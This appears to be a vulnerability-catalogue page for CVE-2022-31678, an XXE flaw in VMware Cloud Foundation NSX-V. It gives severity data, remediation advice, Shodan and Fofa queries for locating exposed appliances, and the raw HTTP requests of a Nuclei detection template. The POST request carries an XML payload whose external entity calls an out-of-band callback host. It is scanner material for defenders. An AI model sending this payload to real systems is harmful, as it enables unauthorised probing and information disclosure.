| Title | VMWare Cloud Foundation NSX-V - XML External Entity (XXE) |
|---|---|
| Author | daffainfo |
| Severity | Critical |
| Impact | Attackers can cause denial-of-service or access sensitive information by exploiting XXE vulnerability. |
| Remediation | Update to the latest version of VMware Cloud Foundation with patched NSX-V component. |
| CVSS Score | 9.1 |
| EPSS Score | 0.57586 |
| CVE ID | CVE-2022-31678 |
| CWE ID | CWE-611 |
| Shodan Query | title:"VMware Appliance Management" |
| Fofa Query | title="VMware Appliance Management" |
| Tags | cve cve2022 vmware nsx xxe vkev |
VMware Cloud Foundation (NSX-V) contains an XML External Entity (XXE) vulnerability. On VCF 3.x instances with NSX-V deployed, this may allow a user to exploit this issue leading to a denial-of-service condition or unintended information disclosure.
GET /login.jsp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
POST /api/3.0/services/auth/token HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Content-Length: 221
Content-Type: application/xml
Accept-Encoding: gzip
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY xxe SYSTEM "http://d6dtg1ple0o4r05f005gxbn7g68wmw7og.oast.fun">
]>
<request>
<username>&xxe;</username>
<password>3A3V6EvL4u8B7TMy2A9siDbbd34</password>
</request>
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-31678.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-31678.pcap
N/AN/A